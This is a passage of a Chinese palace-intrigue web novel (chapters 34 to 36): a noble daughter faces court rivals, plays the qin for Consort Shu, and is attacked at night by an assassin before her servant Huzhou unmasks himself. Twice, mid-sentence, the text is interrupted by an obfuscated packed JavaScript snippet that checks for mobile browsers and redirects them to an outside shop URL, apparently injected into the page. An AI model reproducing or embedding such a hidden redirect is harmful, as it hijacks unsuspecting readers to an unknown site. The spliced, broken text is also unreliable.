锁秋顺着她指的方向望去，低声回道：“小姐，那是胡舟，在府中已有些年头了。先前是在老夫人院里当差的，后来调到夫人院中，夫人见他机灵踏实，前几日才拨到小姐院里伺候。” “许是他身量单薄，混在众人里，小姐才没留意到。” 经她这般提醒，汀竹才觉确实，往日竟真没怎么注意过这人。 “小姐可是瞧着他有不妥？”锁秋察言观色，又多问了一句。 汀竹摇了摇头，“倒也没有，只是今日乍见，总觉似曾相识，又想不起何时见过。” 话音刚落，锁秋已从屋内取来一柄油纸伞，骨碌碌撑开伞面，“小姐快走吧，再耽搁，怕是要误了入宫的时辰。” 汀竹颔首应下，由锁秋撑伞相陪，缓步踏出院廊。 路过院中仆从时，众人皆停下手中活计，垂首躬身行礼。行至胡舟跟前，他也深深一揖，嘴角似噙着一抹浅淡笑意，低眉道：“小姐安。” 汀竹闻言脚步微顿，余光淡淡扫过他，只颔首不语，径自离去。 马车行至东华门时，恰逢李娇璃、李芷瑶姐妹二人。宋婉已先一步凑到李娇璃身侧攀谈，李芷瑶则携着贴身丫鬟，撑伞快步过来，关切道：“姐姐风寒可好些了？” 说着便伸手试着将汀竹身上披风的细带再系紧些，生怕窜进去一丁点风，“今日又下这般大雨，可莫要再受了凉。” 汀竹浅笑着打趣自己，“我哪有这般娇弱。” 旋即又凑近锁秋，低声嘱咐了几句，让她回府后务必盯紧院中之人，尤其是那胡舟。 锁秋心领神会，只重重点头。 不多时，齐湘玉也到了。 李娇璃与宋婉见状，便一同迎了上去。 待丫鬟们随马车折返，汀竹便与李芷瑶共撑一伞，往宫门内走去。另一侧的三人则结伴而行，只是各人心底，都藏着不为人知的心思。 踏入宫门，雨势稍敛，却仍有淅淅沥沥的雨丝黏在衣袂上，带着几分湿冷。宫道两侧的宫槐被风雨摧弯了枝桠，残叶簌簌落在青石板上，被往来内侍的脚步碾成碎泥。 汀竹与李芷瑶并肩而行，油纸伞的伞檐低低压着，遮住了大半面容，只听得见雨珠敲打伞面的轻响。 李芷瑶想起昨日那些人对汀竹的闲言碎语，眉眼间凝起几分纠结，一时竟不知该不该将那些话同她讲明。 二人便心照不宣的沉默一路，行至到了崇文轩内，轩内隐隐传来窃窃私语声，已先一步钻入耳中。 “那宋家大小姐还 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话音刚落，轩内的私语声忽然停了，几道目光齐刷刷投了过来。 为首的是吏部侍郎家的千金姜云，她见了汀竹二人，先是故作惊讶地掩了唇，随即笑道：“宋姐姐可算来了，我们方才还念叨你呢，还以为你这风寒要缠绵个十天半月，竟还能起身入宫。” 这话里的讥诮，任谁都听得出来。李芷瑶当即就要开口回怼，却被汀竹抢先一步，只听她声音不高不低，恰好能让轩内众人听清，“托姜妹妹的福，侥幸好了些，总不好因这点小病，误了课业，倒是让妹妹们挂心了。” 姜云没料到她这般不卑不亢，一时竟噎得说不出话，脸色青一阵白一阵，周遭几个附和的小姐也都噤了声，崇文轩内的气氛瞬间冷了下来。 冷寂的气氛在崇文轩内凝滞了片刻，齐湘玉倒笑着走上前，拉了拉姜云的衣袖，又朝汀竹温然笑着，“妹妹快进来吧，外头雨丝还凉，仔细又受了寒。方才也是姐妹们说笑，并无他意，妹妹莫要往心里去。” 姜云得了台阶，却仍梗着脖子，冷哼一声别过脸，只凑到齐湘玉耳边，语气带着几分不甘地嘟囔，“果然还是齐姐姐好性子，换做是我，可忍不下这口气。她那副云淡风轻的模样，倒像是我们故意刁难她一般，平白落了我们的不是。” 齐湘玉闻言，不动声色地拍了拍她的手背，眼底掠过一丝极淡的深意，嘴上却只低声劝道：“少说两句，课业要紧，莫要失了分寸。” 汀竹将二人的小动作尽收眼底，却只作未见，挽着李芷瑶的手，缓步走到角落的案几旁落座。 刚拿起书卷，便觉一道探究的目光落在自己身上，抬眼望去，正对上齐湘玉转过来的视线，对方唇角依旧挂着温婉笑意，可那笑意却未达眼底。 汀竹垂眸掩去眸中冷意，指尖轻轻拂过书卷上的墨迹，只当没瞧见那道探究的目光。 34. 贵妃 一堂课毕后，外头的雨势便停了。 灰色的云层尚未完全散去，宫道间的青石板还溢着湿意，带着雨后草木清冽的潮气漫进崇文轩内。 贵女们正在收拾着案上的书册笔墨，指尖还沾着研磨时留下的淡淡墨渍，忽闻轩外侍从高声通报，说是淑贵妃遣人来请，要邀众贵女往寿安宫菊圃，共赏雨后秋菊、同饮新酿温酒。 这话一出，轩内霎时静了一刹，随即又低低漾开了几分窃喜与拘谨。 王嬷嬷立在一旁，清了清嗓子道：“既然是贵妃娘娘相邀，还请各位小姐莫要失了礼数，坏了规矩。” 说罢，她还意味深长得看了汀竹一眼。 那目光看似寻常提点，实则带着几分警告。 众人闻言，忙不迭整理衣袂珠簪，彼此间又悄悄打量着对方的装扮，生怕落了下乘，这才簇拥着跟从着侍从，往寿安宫的方向去了。 “也不知贵妃娘娘好端端的，怎突然邀我们来赏菊温酒？”身后传来一道细声低语。 另一位贵女的声音随即响起，带着几分庆幸，“管她是何用意，能暂离这枯燥的课业，便是天大的好事。” 汀竹将这话听在耳中，唇角忽然勾起一抹极淡的弧度。 她心中跟明镜似的，料定这趟赏菊温酒，怕是要比静坐课业难熬百倍。 身侧同行的李芷瑶余光瞥见她这般神色，不由低声问道：“姐姐瞧着，倒像是心情不错？” “可是喜欢这般场合？” 汀竹缓缓摇头，敛了嘴角的笑意，只压着声音道：“那倒没有，只是忽然想起了件好玩的旧事罢了。” “那姐姐可猜得出，贵妃娘娘此番邀约，究竟是为了什么？”李芷瑶又凑近了些，语气里带着几分探询。 明眼人都能瞧出，这绝非一场简单的赏菊。 可汀竹初入宫闱，对后宫之事知之甚少，于是便摇了摇头。 李芷瑶见状，又往她身边凑了凑，几乎是贴着她耳畔，才用几不可闻的声音说：“我曾偶然听嫡姐说起过，贵妃娘娘有意要撮合齐姐姐与端王殿下，想让齐姐姐做端王妃。” “加之姐姐又是未来太子妃，此番邀约......怕是没那么简单。” 汀竹闻言，心头一怔，这才回过神来，明白了方才王嬷嬷那一眼的深意。 原来，这又是冲着自己来的。 她定了定神，反手握住李芷瑶的手，低声嘱咐，“无碍，你只需顾好自己，不必为我强出头。” 李芷瑶轻叹了口气，眸中略带一丝愧色，“芷瑶身份低微，怕是根本帮不上姐姐什么忙。” 汀竹柔柔拍了拍她的手背，无声安抚。 宫道两侧的梧桐叶被雨水洗得发亮，偶尔有残存的雨珠从枝桠滚落，砸在青石板上溅起细碎的水花，惊得引路的宫雀扑棱着翅膀飞远。行至寿安宫角门，便先闻得一股清冽的菊香混着酒香飘来，驱散了雨后的湿寒。 转过垂花门，菊圃的景致便豁然展开。数十畦秋菊在圃中肆意盛放，白的似雪、黄的如金、紫的若霞，经了夜雨的浸润，每瓣花蕊上都凝着晶亮的水珠，风一吹，便簌簌落下，打湿了阶前的苔藓。 圃中临着水榭的位置，早设下了软榻与矮几，淑贵妃正斜倚在铺了狐裘的软榻上，身侧小炉上煨着的银壶正袅袅冒着热气，琥珀色的酒液在壶中晃出温润的光。 贵女们敛衽行礼，齐声问安，“臣女见过贵妃娘娘，娘娘金安。” 汀竹低垂着眼睫随着众人俯身行礼，却隐约感觉一道若有似无的目光落在自己的身上，抬眼时，却见淑贵妃正含着笑意把玩着腕中翠玉镯，仿佛方才那道视线只是错觉。 淑贵妃抬手免了众礼，声线温雅如浸了雨露的菊，“今日雨歇天清，菊也开得正好，特召你们来散散心，不必拘着宫廷仪矩，都且坐下吧。” 话音落罢，淑贵妃又朝齐湘玉招了招手，眉眼带着笑意，语气更是亲昵，“湘玉，来坐到本宫身前来。” 齐湘玉听得这话，脸上的得意几乎是要溢出来，她笑着向淑贵妃盈盈一礼，便款步走到近前，心安理得地坐在了淑贵妃身侧的位置，一时间，成了众目睽睽的焦点。 侍女们立时上前，将温好的菊花酒分盛入白瓷盏中，一一奉到贵女们面前。酒盏甫一入手，暖意便顺着指尖漫开，浅啜一口，先是菊香清冽，而后是酒酿的绵甜，入喉后又留得几分回甘，惹得几位年纪尚轻的贵女都悄悄弯了唇角。 淑贵妃浅喝了一口杯中，目光慢悠悠扫过众女，末了落在汀竹身上，笑意淡了几分，却依旧语气温和，“听闻宋小姐前些日为昭宁公主弹奏了一首雅曲，竟让公主特加称赞。” “又恰逢今日这菊圃盛景，何不弹奏一曲以品雅韵，也好让本宫也听听这等清雅之曲。” 这话一出，席间霎时静了静。李芷瑶握着酒盏的手紧了紧，悄悄抬眼去看汀竹，眼底满是担忧。齐湘玉则是端起酒盏掩住唇角的笑意，余光瞥向汀竹时，带着几分幸灾乐祸。 她清楚，贵妃这般哪是为了想听曲，不过是借着个油头故意将她架在火上烤，好与不好全凭听者评论。 汀竹心头微沉，面上却不显半分慌乱，从容敛衽一礼，“娘娘抬爱，臣女便献丑了。” 她知晓推脱无用，索然坦然应下。 旁人都以为她会如先前婉拒公主那般，再向贵妃推辞，却没料到她竟然这般干脆应承。 淑贵妃放下茶杯，挥手示意。 不多时，内侍便捧着一张楠木古琴至汀竹身前，琴身刻着梅花纹路，在刚出云层的阳光下，似是覆了一层薄薄的纱。 汀竹素手抚上琴弦，指尖轻拢慢捻，清越的琴音便自指端缓缓溢出。 ...... 寿安宫宫墙外—— 端王刚从御书房拜见过了皇上，淑贵妃便让寿安宫宫中侍从传话，让他即刻来寿安宫一趟，说是有要事要与他相商。 他循宫道往寿安宫去，行至宫门前，忽然便听见一阵琴音穿廊而来，那曲调清雅婉转，竟是他再熟悉不过的。心中倏然涌上一丝窃喜，暗想着莫不是母妃特意请了她来宫中抚琴。 这般想着，脚步竟不自觉加快了几分。 大步行至寿安宫，侍从便引着他来了菊圃。方踏入菊圃后，琴音恰巧落了最后一韵。抬眼望去，菊圃庭中聚着一众锦衣华服的贵女，鬓边珠翠晃出细碎的流光，就如这菊圃中各式各样的菊花一般。 众贵女忽见一道身影从廊外走来。来人玄色锦袍，腰束玉带，面如冠玉，一看便知是端王来了。 不由得连呼吸都轻了几分，齐湘玉更是脸颊泛红，下意识抬手理了理衣襟，眸光柔柔地黏在端王身上，连指尖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16833065|188365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都微微发紧。 贵女们起身浅行了一礼，端王就抬手免了礼，眸光浅浅扫过菊圃诸女，最终落在最里边古琴旁，端坐着一位覆盖轻纱的女子，身姿清瘦，气质冷冽，想来方才那曲琴音便出自她手。 他知她不是她，便未再多看，径直走到软塌前躬身行礼，“儿臣见过母妃。” 淑贵妃笑着抬手免礼，刚要去牵身侧的齐湘玉，预备趁此机会让二人说合几句，却听端王先一步开口，打破了殿中微妙的沉寂，“母妃，方才是谁在抚琴？” 淑贵妃笑意微顿，旋即顺着他的话头道：“是宋家嫡小姐，便是太子殿下已定下的未婚妻。” 端王闻言，眉峰几不可察地一蹙，眸中那点方才因琴音而起的亮色，霎时便淡了下去。 他原以为这轻音是出自旁人，却不想竟然是太子殿下的未婚妻宋韫。 殿内的贵女们还在悄悄打量着他，齐湘玉攥紧帕子的手紧了紧，见端王没看自己反倒问起宋韫，心里不免有些失落与对宋韫的怨恨，却还是强撑着温婉笑意，立在淑贵妃身侧，不敢多言。 淑贵妃将端王的神色变化瞧在眼里，心里不免对汀竹多了几分，却依旧笑着打圆场，“宋小姐这琴技，在京中贵女里也是数一数二的，方才还引得一众丫头们连声称赞呢。” 汀竹闻言，微微垂首起身，对着端王福了福身，声音隔着面纱，显得有些飘缈，“见过端王殿下。”她语气疏淡，既无刻意逢迎，也不半分忸怩，与殿中其他贵女的姿态截然不同。 端王颔首还礼，目光在她的面纱上略作停留，“小姐这曲调清雅，本王倒未曾听闻过。” 汀竹回话，“是民女曾在画舫听闻，便记了下来。” 端王若有所思的点头，便移开了视线，转而对淑贵妃道：“母妃召儿臣前来，不知是何要事？” 他刻意将话题拉回正事，显然没打算在抚琴一事上多做纠缠。淑贵妃见状，只是暂时按下撮合心思，拍了拍身侧的位置，示意他近前，“也不是什么急务，不过想着你也到了到了该议亲的年纪，今日本宫便聚了些世家贵女，便叫你过来瞧瞧。” 端王面色微不可察的僵了一瞬，垂在身侧的手指不禁蜷了蜷，只是淡淡应道：“儿臣的婚事，全凭父皇与母妃做主。” 这话听着恭顺，却也堵死了淑贵妃继续往下说的话头。淑贵妃无奈瞪了他一眼，有些恨铁不成钢，转头看向身侧的齐湘玉，语气带着几分刻意，“湘玉这孩子，温酒温得非常不错，你且尝尝？” 齐湘玉闻言，忙上前两步，将手中方温的酒盏捧至端王面前，指尖因紧张微微发颤，声音却柔得像浸了蜜一般，“殿下若是不嫌弃，便尝尝臣女方温好的果酒。” 端王的目光落在那盏白瓷酒盏上，釉色莹白，盛着浅琥珀色的酒液，还漂浮着几缕热气。他却并未伸手去接，只淡淡颔首，“本王不胜酒力，多谢齐小姐美意。” 一句话便将齐湘玉的殷勤挡了回去，她捧着酒盏的手僵在半空，脸上的笑意险些挂不住，捧着酒盏边缘的手指被攥得紧紧发白，最后只能讪讪地将手收回，垂首立在淑贵妃一旁，眼底漫过一丝委屈。 淑贵妃见状，眉头微不可察地蹙了蹙，却也不好当众驳了端王的面子，只得又打圆场道：“既然不胜酒力，那便尝尝这新蒸的菊花糕吧，清甜不腻，最是解乏。” 35. 念想 赏菊温酒在午膳时便已散场，一众贵女纷纷回了崇文轩用膳。 永和宫内，淑贵妃早吩咐让御膳房备下端王素日里爱吃的几样菜色，一心想留他用了午膳再离宫。 “允惇，”淑贵妃执起汤匙，像似无意地开口，“母妃瞧着齐太傅家的女儿齐湘玉，倒是个百里挑一的好姑娘，知书达礼，温婉端方，琴棋书画更是样样拿得出手......”话还未说完，便被端王给打断了。 “母妃，”端王手中的玉筷一顿，语气恭敬却不着痕迹的岔开了话，“齐小姐的才名儿臣早有耳闻，只是儿臣素来愚钝，怕是配不上这般才女。” 淑贵妃柳眉微皱，放下汤匙，“你乃陛下亲封的端王，堂堂七皇子，配一个太傅之女，本就绰绰有余。” “如今朝中，丞相与宋将军一心辅佐太子，唯有太傅与礼部侍郎是咱们这边的人。这桩婚事，你岂能不好好把握住？” 端王垂眸，手中的玉筷不着痕迹的捏紧了几分，“母妃明鉴，儿臣以为，成事当凭自身，而非联姻结党。”他素来不屑这般营私勾当，若要靠外戚扶持登临帝位，与傀儡有何异？ “凭自身？”她冷笑一声，语气里满是恨铁不成钢的无奈，“允惇，你莫不是被这深宫的安稳日子迷了眼？太子背靠丞相与宋将军两座大山，朝中半数官员都唯他马首是瞻。你无外戚帮扶，无世家依附，单凭一腔孤勇，如何与他抗衡？” 端王抬眸，眼底仍旧固执，“儿臣不信，这朝堂之上，终究还是要看实绩与民心。”他驻守边疆三年，凭战功换来端王封号，便是想证明，不靠旁的，他也能站稳脚跟。 “实绩？民心？”淑贵妃被他这话气笑了，伸手点了点他，“皇家无亲情，朝堂无至善！当年先太子便是因太过仁厚，信了‘民心’二字，落得个什么下场？你若步了他的后尘，不仅你自身难保，连本宫。” “不，连整个永和宫，都要为你陪葬！” 提及先太子，端王眸色暗了暗。先太子是元皇后所生的嫡长子，当年元皇后母族落败，失了圣心，又无外戚扶持，信了“民心”二字，最后身死异处，连个全尸都没有。 他喉间滚了滚，语气软了几分，却依旧没松口，“母妃，儿臣明白你的顾虑，可联姻之事，终究关乎终身，儿臣......” “终身？”淑贵妃截断了他的话，眼底漫上一层冷意，“生在这皇家，何来真正的终身？你的婚事，从来就不止是你一个人的事，是永和宫的依仗，更是你往后争权的筹码！” “本宫劝你还是趁早断了对宋韫的念想，她与太子早有婚约，与你是断无可能的！” 端王闻言，眉宇间瞬间惊起一丝愠色，“母妃，此事又与旁人何干？儿臣何时对宋家小姐存过旁的心思？” 淑贵妃当即就提了方才赏菊温酒的光景，语气笃定，“你是母妃身上掉下来的肉，你的一言一行，母妃岂会看不明白？方才你进菊圃，第一眼便落去宋韫身上。” “听闻她与太子有婚约，你脸色当即就变了，还敢说没有？” 荒唐！实在是荒唐！ 他当时只不过是好奇，那女子怎会桃仙儿的曲子，这才多问了两句罢了。 端王无奈起身，正要开口辩解，“母妃！儿臣......” 却被淑贵妃抬手拦下，她眼中反倒添了几分急切，“你若真心喜欢，待日后你坐上那高位，便是抢来也不迟！” “届时你手握乾坤，想做什么，谁敢置喙？” 他心中清楚，若此刻告知母妃，自己心悦的是民间青楼女子，且想娶她为正妃，母妃不仅断不会应允，怕是还会暗中派人除掉她。 端王的辩解霎时哽在喉间，垂在身侧的手悄然攥成了拳头，指节因用力而泛出青白。他不敢再往下想去，只觉现身处深水之中，如溺水了般，连气都呼吸不上来。 淑贵妃见他突然缄默，只当是自己戳中了他的心事，语气便又软些许，带着几分循循善诱，“你看，终究是瞒不过母妃吧？这世间情爱，于皇家而言本就是锦上添花的东西，先顾全大局，往后才有资格谈心意。” “齐太傅那边，本宫已派人递了话，五日之后便是齐太傅寿辰，陛下也有意让你们多接触接触，你且好生准备着。” “母妃！”端王猛地抬眼，眼底满是挣扎，“儿臣当真对宋小姐无意，更别说齐小姐。儿臣心中......”话到嘴边，他又硬生生咽了回去，满是难言的苦涩，“儿臣心中，实无妻的打算。” “无打算？”淑贵妃拍案而起，凤钗随着动作晃出冷冽的寒光，“你今年二十有三，抛开宸王体弱多病、命不久矣不说，年长的皇子中唯有你尚未定下亲事！陛下近日多次过问，你以为还能托及时？”她上前一步，死死盯着端王的眼，“莫不是你真有了什么旁的心思，藏了什么见不得人的人？” 这话正在中端王死穴，他心头一震，面上却强装镇定，躬身道：“母妃多虑了，儿臣只是觉得朝堂局势未明，不宜分心于儿女情长。” “局势未明，才更要抓紧婚事稳固根基！”淑贵妃冷笑，目光如炬似要看穿他的伪装，随即敛了敛神色，语气又添了几分诱导，“齐太傅为人耿介，却重情义，你若娶了湘玉，他定会对你死心塌地。有他在朝中为你奔走，再加上礼部侍郎的助力，你往后的路，岂不是平坦许多？” 端王沉默了，他知道母妃的筹谋无一处不精准，可那精准的算计里，偏生没有半分人情。他忽然想起方才菊圃里宋韫那般淡然洒脱，心头竟莫名生出一丝艳羡。 “此事容儿臣再想想。”他终究是松了口，却没应下，只想着先缓过这一时。 淑贵妃是何等通透，自然是听出他语气里的勉强，却也知道不可逼得太紧，便颔首道：“也好，你且回去仔细思量。只是允惇，你要记住，这深宫中，一步错，步步错，莫要因一时意气，误了终身的前程。” 殿内的空气仿佛凝住，端王垂着脑袋，能清晰听见自己如擂鼓的心跳。他知道母妃所言皆是为他好，可让他舍弃心中那人，他做不到。此刻他多么希望自己生于寻常百姓家，而非这困锁一生的皇室。 一时之间，前是母妃步步紧逼，后是心头的耿耿执念，竟让他陷入了进退两难的绝境。 端王僵在原地，额角的青筋隐隐跳动，半晌才从齿缝里挤出一句，“儿臣......明白。” 淑贵妃见他，脸色稍缓，却冷声道：“不单单只是明白，是为你自己的前程。五日之后的寿宴，你可莫出半分差错” 话音刚落，殿外忽然传来内侍的通传声，说太后遣人来请淑贵妃去寿康宫说话。淑贵妃理了理衣襟，起身前又叮嘱端王一句，“午膳你且用了再走，莫要辜负了御膳房的心意。” 待淑贵妃离去，殿内只剩端王一人。鎏金铜炉里，银丝炭燃得正旺，暖融融的热气裹着龙涎香的清冽，却依旧没能驱散他心底的半分寒意。 他望着满桌的珍馐，却无半点胃口，只觉得那饭菜里都浸着权势的腥臭，叫人作呕。他猛地起身，拂袖往外走，却被内侍拦住，“王爷，贵妃娘娘吩咐了......” “滚开！不必管她的吩咐！”端王语气不耐，将方才所受的起全发泄在这言语中，一把推开内侍便出来永和宫，只留下满殿的冷清与那桌无人动筷的佳肴。 宫道上的青砖还凝着雨露的湿意，风卷着宫墙根下残菊的清香，扑在端王面上，却没吹散他心头的烦闷。他漫无目的地走着，不知不觉竟绕到了崇文轩附近，远远便瞧见廊下立着道熟悉的身影。 汀竹正站在檐下，身侧立着李芷瑶，两人也不知在说些什么。身侧的李芷瑶噙着温和的笑意，汀竹则是微微偏头聆听着女子的话语，姿态从容淡然。 端王脚步蓦地顿住，心头竟莫名窜出一丝说不清道不明的烦躁。他本不欲上前，却偏生被路过的齐湘玉身侧的李娇璃瞧见了身影，对方连忙福了一礼，“见过端王殿下。” 当即汀竹、李芷瑶以及齐湘玉三人便看了过来，目光看向端王，接着便规规矩矩地福身行礼，“见过端王殿下。” 端王本就心绪不宁，骤然被众人撞见，只觉面上有些不自在，仓促间抬手 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而端王的脸色瞬间沉了几分，他素来不喜旁人窥探自己的私事，尤其是方才因亲事已被母妃训斥了一番，此刻又被当众点破，只觉一股火气直往上涌，却又碍于身份不好发作，只好冷声道：“本宫的事，就不劳李小姐费心了。” 李娇理被他一噎，脸上的笑意顿时僵住，讪讪地闭了嘴。 廊下的气氛霎时尴尬起来，齐湘玉暗暗剐了一眼李娇璃，连忙对着端王再度福了福身，“殿下恕罪，娇璃妹妹子直，说话没个分寸，还望殿下莫要与她计较。” 端王没再理会她，目光却又落在了平静如水的汀竹身上，见她自始至终都没半分波动，竟鬼使神差地问了一句，“宋小姐方才在与她们说什么？” 这话问得突兀，不仅旁人愣住，连端王自己都怔了怔。他素来不屑与这些贵女搭话，今日竟会主动开口。 汀竹倒是从容，浅声道：“不过是说些菊圃里的新品种，芷瑶妹妹懂些花艺，正与我讲如何护持残菊过冬。” 她的声音清泠如泉，落在端王耳中，竟奇异地抚平了几分心头的躁意。他望着她鬓边别着的那支素菊簪，忽然想起方才她弹桃仙儿曲时的模样，喉间动了动，还想再说些什么，却见崇文轩内有侍女出来寻她们上课。 “殿下若无旁事，臣女等便先退下了。”汀竹微微颔首，率先带着李芷瑶转身往轩内走去。齐湘玉二人也连忙跟上，只留下端王一人立在原地，望着那道清瘦的背影，心头的情绪更复杂了。 微风又起，卷着残菊的香，混着宫墙深处的权谋算计，缠得他喘不过气。他抬手揉了揉眉心，既然生在宫中，凡事便不能由他决定。 或许按母妃的意思走，才是最稳妥的路。 这个念头刚冒出来，便被他强压了下去。他想起那日在画舫初见桃仙儿时的场景，想起她抚琴低唱的模样，那双眸子里的清愁与倔强，是这深宫贵女身上从未有过的鲜活。 若真应了母妃的安排，娶了齐湘玉，往后余生，怕是连半分真心欢愉都求不得了。 可他也清楚，母妃的话并非危言耸听。太子势大，朝堂之上暗流汹涌，他若没有太傅这层助力，怕是连站稳脚跟的机会都没有。边疆三年的战功，在这盘朝堂棋局里，终究抵不过世家联姻的筹码。 他立在原地，指尖无意识地摩挲着腰间的香囊上的绣纹，那是桃仙儿亲手为他绣，触手仍是柔软的。风掠过宫墙，带起一阵细碎的菊瓣，落在他的肩头，他却浑然不觉，只觉心口像是被什么东西堵着，上不去也下不来。 “殿下。”身后忽然传来侍从的声音，打断了他的思绪，“永和宫的内侍来问，殿下何时回宫，贵妃娘娘还等着殿下回话。” 端王猛地回神，眸中闪过一丝厉色，随即又恢复了惯常的冷沉。他拢了拢衣袖，声音里听不出情绪，“回府，就说本王身子不适，先行告退了。” 侍从愣了愣，不敢多问，只躬身应下。 端王转身往宫门的方向走，脚步却比来时沉了许多。他知道，这五日的缓冲不过是自欺欺人，五日后齐太傅的寿宴，终究是躲不过的局。而他心中藏着的那点念想，怕是迟早要被这深宫的浊流，碾得粉碎。 36. 笑话 “小姐，奴婢今日按照你的吩咐，留意了院中的人，尤其盯着那胡舟。”锁秋声音压了压禀明，又添了一句，“可奴婢瞧了整日，也没见他有什么异样之处。” 汀竹用指节掰着手指骨，发出阵阵“咯吱”的脆响，白日里胡舟的言行举止正在脑海中回放，总觉此人眉眼透着股莫名的熟悉，仿佛在哪见过，却偏生想不起来。 她正要开口回锁秋的话，院外忽然传来“哐当”一道闷响，似又人撞翻了什么物件。汀竹猛地回过神，循着动静走至到了窗边，锁秋也跟随在身侧一同走了过来。 推开半扇窗，只见一道玄色身影正从老榆树下踉跄起身，想来应是被榆树冒出的树根绊到在地。 “小姐，有刺——”锁秋惊得险些喊出声，被汀竹迅疾捂住了嘴。 那黑衣人闻声，骤然转头朝窗内望来，旋即足尖一点掠上前来，刀刃破风直朝她们刺了而来。 汀竹仓促推开了锁秋，寒光凛凛的刀堪堪刺在了二人中间，转瞬又调转方向朝她砍落。 眼见刀峰离她越来越近，锁秋急中生智，猛地拔出腕间暗藏的匕首，狠狠朝朝黑衣人的后背刺去。黑夜人似早有察觉一般，侧身一躲，匕首深深扎进了他握刀的右臂。 黑衣人吃痛滞了一瞬，偏头恶狠狠剜了锁秋一眼。锁秋吓得手一抖，匕首“哐当”一声，坠落在地上，失声尖叫，“有刺客！” 见黑衣人要对锁秋下手，汀竹不假思索便抄起妆台上那方巴掌大的锦盒，狠狠朝那黑衣人的头颅砸过去。黑衣人偏头避过，锦盒却不偏不倚正中了锁秋的眉心，她当即两眼一翻，昏了过去。 见望着倒地的锁秋，黑衣人眉眼间闪过一丝不易察觉的诧异，复又转回头，死死盯住汀竹。 汀竹倒也没想到竟然失手砸中了锁秋，不过还好此人似乎只是冲着自己来的。 一方蒙着面只露双眼，一方戴着纱也仅见双眸。 四目相视。 汀竹一眼便识破了黑衣人的身份，原来是他。 她强作惶然，颤声发问：“你究竟是何人？我与你往日无怨近日无仇，为何要取我性命？” 黑衣人默不作声，左手死死捂着伤口，握着刀的右手依旧步步朝她逼近。 汀竹此时心头急转，方才锁秋那般大喊，都没侍从前来，想必是被此人做了手脚。 而那人派人此番是来试探，还是已然识破了她的身份，要来杀人灭口？若是前者，她若贸然将其反杀，便等于公然与靖安侯府为敌；若是后者，今日怕是要命丧于此。 正在她思忖之间，隐隐闻到从窗外飘来的一缕奇特的香气。 眼看刀锋离自己不过存许，汀竹面上仍作慌张之态，手看似害怕地抓紧了衣袖，实则已将袖口暗藏的银针悉数捻出。 并且她在赌—— 赌那人会不会为了活命而出手相救。 就在刀锋即将及身的刹那，黑衣人似察觉到周遭异动，猛地抬眼看向窗外。果不其然，一柄长剑破窗而来，精准格开了他的刀刃。 黑衣人面露惊色，他分明已经将院中仆役尽数打晕，怎还漏了一个？ 持长剑男子随即从窗口跃入屋内，将汀竹护在身后，长剑挺出便要刺向黑衣人。黑衣人仓促格挡，他此番目的并非来杀人灭口，见状足尖点地，翻身跃出窗外，转瞬没了踪影。 待黑衣人彻底离去，持剑男子这才收了剑，转身面向了汀竹。 汀竹见此人并非是她欲想之人，指尖一弹，一枚银针便朝他臂膀射去。男子似早有防备，身子一侧便避过了银针。旋即就抛下了长剑，单膝跪地了她的面前。 汀竹见他此举，一时怔住。还没清楚什么情况，便又见男子抬起右手往脸颊边缘一扯，一张人皮面具应声落下，露出的竟是方才她心中百般揣测的面孔——胡舟！ “胡舟？”她低唤一声，满是惊疑。 “小的胡舟，恳请小姐赐解药！”胡舟单掌覆于胸前，垂首恭声道。 汀竹霎时明了，原来胡舟便是那装神弄鬼之人。 她踱步至胡舟身侧，俯身拾起那张人皮面具，指尖细细摩挲着面具上的纹路，半晌未语。 胡舟见她没有丝毫赐解药之意，便又道：“若是小姐肯赐解药，小的将小姐想知晓的一切，一字不落的和盘托出。” 听闻此言，汀竹半眯起眸子，唇角带起一抹浅笑，“若是我偏不给，你又能奈我何？” 胡舟却笃定道：“小姐不会的。” “呵呵呵。”汀竹轻笑一声，她的确是想弄清楚这背后的纠葛，遂然淡声开口，“且忍着。” 语罢，汀竹随手便丢了方才所捡的人皮面具，左手捻出一根银针，转身走至梳妆台前，从琳琅满目的胭脂水粉中，拿过一盒膏状脂膏。她将银针往膏中轻轻一抹，复又走到胡舟面前，俯身扯过他的左手手腕，将沾了膏体的银针，稳稳扎入了他的腕间。 胡舟初见银针纤细，还在暗想着能有多痛，只当是她小题大做。 谁知银针刚刺破皮肉，便传来一阵似蚁噬般的细痛，随着银针越扎越深，疼痛感愈发强烈，竟似烈火炙烧肌肤一般，疼得他额间冷汗涔涔。 他原以为扎一针便可解毒，待汀竹掏出第二根银针时，他才知道这毒中了几天，便要受几针之苦，若是逾了半月不解此毒，这条手臂便算是彻底废了。 三针落下，针孔之处，皆渗出黑色的血珠。汀竹又递给了他一粒白色的药丸，冷冷道：“服下。” 胡舟捏着药粒，怕她又给自己下什么毒，警惕地看了汀竹一眼。汀竹嗤笑一声，“不过是逼出余毒的药丸罢了，若是要下毒，我又何必多此一举替你解毒？” 胡舟闻言，不再迟疑，仰头将药丸吞咽腹中。不过片刻，他便觉右臂的滞痛感消散了大半。 他当即起身，朝汀竹拱手作辑，“多谢小姐！” 汀竹抬眸，眸光锐利，“如今，总可以告诉我你究竟是何人了吧？” 胡舟整了整衣摆，立起了身子，肃然道：“小姐随我来，一切原委，你见了便知。” 汀竹点了点头，先将昏睡的锁秋小心扶到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16841448|188365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 